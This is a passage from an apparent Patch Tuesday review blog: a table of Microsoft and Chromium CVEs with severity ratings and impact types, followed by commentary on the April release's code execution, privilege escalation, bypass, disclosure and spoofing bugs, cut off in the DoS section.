<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21637">CVE-2026-21637 *</a></td>
  <td> HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers</td>
  <td> Moderate</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33119">CVE-2026-33119</a></td>
  <td>Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>5.4</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829">CVE-2026-33829</a></td>
  <td>Windows Snipping Tool Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5858">CVE-2026-5858 *</a></td>
  <td>Chromium: CVE-2026-5858 Heap buffer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5859">CVE-2026-5859 *</a></td>
  <td>Chromium: CVE-2026-5859 Integer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5272">CVE-2026-5272 *</a></td>
  <td>Chromium: CVE-2026-5272 Heap buffer overflow in GPU</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5273">CVE-2026-5273 *</a></td>
  <td>Chromium: CVE-2026-5273 Use after free in CSS</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5274">CVE-2026-5274 *</a></td>
  <td>Chromium: CVE-2026-5274 Integer overflow in Codecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5275">CVE-2026-5275 *</a></td>
  <td>Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5276">CVE-2026-5276 *</a></td>
  <td>Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5277">CVE-2026-5277 *</a></td>
  <td>Chromium: CVE-2026-5277 Integer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5279">CVE-2026-5279 *</a></td>
  <td>Chromium: CVE-2026-5279 Object corruption in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5280">CVE-2026-5280 *</a></td>
  <td>Chromium: CVE-2026-5280 Use after free in WebCodecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5283">CVE-2026-5283 *</a></td>
  <td>Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5284">CVE-2026-5284 *</a></td>
  <td>Chromium: CVE-2026-5284 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5285">CVE-2026-5285 *</a></td>
  <td>Chromium: CVE-2026-5285 Use after free in WebGL</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5286">CVE-2026-5286 *</a></td>
  <td>Chromium: CVE-2026-5286 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5287">CVE-2026-5287 *</a></td>
  <td>Chromium: CVE-2026-5287 Use after free in PDF</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5289">CVE-2026-5289 *</a></td>
  <td>Chromium: CVE-2026-5289 Use after free in Navigation</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5290">CVE-2026-5290 *</a></td>
  <td>Chromium: CVE-2026-5290 Use after free in Compositing</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5860">CVE-2026-5860 *</a></td>
  <td>Chromium: CVE-2026-5860 Use after free in WebRTC</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5861">CVE-2026-5861 *</a></td>
  <td>Chromium: CVE-2026-5861 Use after free in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5862">CVE-2026-5862 *</a></td>
  <td>Chromium: CVE-2026-5862 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5863">CVE-2026-5863 *</a></td>
  <td>Chromium: CVE-2026-5863 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5864">CVE-2026-5864 *</a></td>
  <td>Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5865">CVE-2026-5865 *</a></td>
  <td>Chromium: CVE-2026-5865 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5866">CVE-2026-5866 *</a></td>
  <td>Chromium: CVE-2026-5866 Use after free in Media</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5867">CVE-2026-5867 *</a></td>
  <td>Chromium: CVE-2026-5867 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5868">CVE-2026-5868 *</a></td>
  <td>Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5869">CVE-2026-5869 *</a></td>
  <td>Chromium: CVE-2026-5869 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5870">CVE-2026-5870 *</a></td>
  <td>Chromium: CVE-2026-5870 Integer overflow in Skia</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5871">CVE-2026-5871 *</a></td>
  <td>Chromium: CVE-2026-5871 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5872">CVE-2026-5872 *</a></td>
  <td>Chromium: CVE-2026-5872 Use after free in Blink</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5873">CVE-2026-5873 *</a></td>
  <td>Chromium: CVE-2026-5873 Out of bounds read and write in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5291">CVE-2026-5291 *</a></td>
  <td>Chromium: CVE-2026-5291 Inappropriate implementation in WebGL</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5292">CVE-2026-5292 *</a></td>
  <td>Chromium: CVE-2026-5292 Out of bounds read in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5874">CVE-2026-5874 *</a></td>
  <td>Chromium: CVE-2026-5874 Use after free in PrivateAI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5875">CVE-2026-5875 *</a></td>
  <td>Chromium: CVE-2026-5875 Policy bypass in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5876">CVE-2026-5876 *</a></td>
  <td>Chromium: CVE-2026-5876 Side-channel information leakage in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5877">CVE-2026-5877 *</a></td>
  <td>Chromium: CVE-2026-5877 Use after free in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5878">CVE-2026-5878 *</a></td>
  <td>Chromium: CVE-2026-5878 Incorrect security UI in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5879">CVE-2026-5879 *</a></td>
  <td>Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5880">CVE-2026-5880 *</a></td>
  <td>Chromium: CVE-2026-5880 Incorrect security UI in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5881">CVE-2026-5881 *</a></td>
  <td>Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5882">CVE-2026-5882 *</a></td>
  <td>Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5883">CVE-2026-5883 *</a></td>
  <td>Chromium: CVE-2026-5883 Use after free in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5884">CVE-2026-5884 *</a></td>
  <td>Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5885">CVE-2026-5885 *</a></td>
  <td>Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5886">CVE-2026-5886 *</a></td>
  <td>Chromium: CVE-2026-5886 Out of bounds read in WebAudio</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5887">CVE-2026-5887 *</a></td>
  <td>Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5888">CVE-2026-5888 *</a></td>
  <td>Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5889">CVE-2026-5889 *</a></td>
  <td>Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5890">CVE-2026-5890 *</a></td>
  <td>Chromium: CVE-2026-5890 Race in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5891">CVE-2026-5891 *</a></td>
  <td>Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5892">CVE-2026-5892 *</a></td>
  <td>Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5893">CVE-2026-5893 *</a></td>
  <td>Chromium: CVE-2026-5893 Race in V8</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5894">CVE-2026-5894 *</a></td>
  <td>Chromium: CVE-2026-5894 Inappropriate implementation in PDF</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5895">CVE-2026-5895 *</a></td>
  <td>Chromium: CVE-2026-5895 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5896">CVE-2026-5896 *</a></td>
  <td>Chromium: CVE-2026-5896 Policy bypass in Audio</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5897">CVE-2026-5897 *</a></td>
  <td>Chromium: CVE-2026-5897 Incorrect security UI in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5898">CVE-2026-5898 *</a></td>
  <td>Chromium: CVE-2026-5898 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5899">CVE-2026-5899 *</a></td>
  <td>Chromium: CVE-2026-5899 Incorrect security UI in History Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5900">CVE-2026-5900 *</a></td>
  <td>Chromium: CVE-2026-5900 Policy bypass in Downloads</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5901">CVE-2026-5901 *</a></td>
  <td>Chromium: CVE-2026-5901 Policy bypass in DevTools</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5902">CVE-2026-5902 *</a></td>
  <td>Chromium: CVE-2026-5902 Race in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5903">CVE-2026-5903 *</a></td>
  <td>Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5904">CVE-2026-5904 *</a></td>
  <td>Chromium: CVE-2026-5904 Use after free in V8</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5905">CVE-2026-5905 *</a></td>
  <td>Chromium: CVE-2026-5905 Incorrect security UI in Permissions</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5906">CVE-2026-5906 *</a></td>
  <td>Chromium: CVE-2026-5906 Incorrect security UI in Omnibox</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5907">CVE-2026-5907 *</a></td>
  <td>Chromium: CVE-2026-5907 Insufficient data validation in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5908">CVE-2026-5908 *</a></td>
  <td>Chromium: CVE-2026-5908 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5909">CVE-2026-5909 *</a></td>
  <td>Chromium: CVE-2026-5909 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5910">CVE-2026-5910 *</a></td>
  <td>Chromium: CVE-2026-5910 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5911">CVE-2026-5911 *</a></td>
  <td>Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5912">CVE-2026-5912 *</a></td>
  <td>Chromium: CVE-2026-5912 Integer overflow in WebRTC</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5913">CVE-2026-5913 *</a></td>
  <td>Chromium: CVE-2026-5913 Out of bounds read in Blink</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5914">CVE-2026-5914 *</a></td>
  <td>Chromium: CVE-2026-5914 Type Confusion in CSS</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5915">CVE-2026-5915 *</a></td>
  <td>Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5918">CVE-2026-5918 *</a></td>
  <td>Chromium: CVE-2026-5918 Inappropriate implementation in Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5919">CVE-2026-5919 *</a></td>
  <td>Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33118">CVE-2026-33118</a></td>
  <td>Microsoft Edge (Chromium-based) Spoofing Vulnerability</td>
  <td>Low</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
</tbody></table>
  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.</p><p class="">Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host. </p><p class="">More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access. </p><p class="">There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.</p><p class="">The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP <a href="https://go.microsoft.com/fwlink/?linkid=2347342">notes</a> that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.</p><p class="">There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable 